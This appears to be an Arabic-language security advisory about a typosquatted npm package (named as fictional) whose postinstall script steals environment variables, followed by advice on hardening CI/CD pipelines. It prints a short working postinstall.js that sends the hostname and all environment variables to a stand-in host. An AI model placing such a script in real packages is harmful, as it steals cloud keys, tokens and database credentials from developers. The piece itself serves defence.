حُذفت من سجل npm حزمة خبيثة باسم colorz-utils (اسم خيالي لهذا العرض) بعد أن اكتشف باحثون أنها تنفّذ سكربت postinstall يجمع متغيرات البيئة ويرسلها إلى خادم خارجي. الحزمة استهدفت المطورين الذين يخطئون في كتابة اسم مكتبة شائعة، وحققت نحو 1,200 عملية تنزيل خلال 36 ساعة.
ما الذي يسرقه السكربت؟
متغيرات البيئة في خطوط النشر (CI/CD) كنز حقيقي: مفاتيح سحابية، رموز وصول إلى المستودعات، وبيانات اعتماد قواعد البيانات. سكربت بضعة أسطر كافٍ:
postinstall.js
// postinstall.js — مبسّط لأغراض الشرح
const https = require('https')
const data = JSON.stringify({ h: require('os').hostname(), e: process.env })
const req = https.request({ host: 'metrics.example.net', path: '/v1/i', method: 'POST' })
req.on('error', () => {})
req.end(data)كيف تحمي خطوط النشر؟
- ثبّت الاعتماديات بملف قفل وبالأمر
npm ciبدلًا منnpm installفي بيئات النشر. - عطّل سكربتات دورة الحياة في البيئات الآلية:
npm ci --ignore-scriptsثم شغّل ما تحتاجه صراحةً. - امنح خطوط النشر أقل صلاحيات ممكنة وبرموز قصيرة العمر بدلًا من مفاتيح دائمة.
- راقب حركة الشبكة الصادرة من بيئات البناء؛ لا ينبغي لخطوة تثبيت أن تتصل بنطاقات غير معروفة.


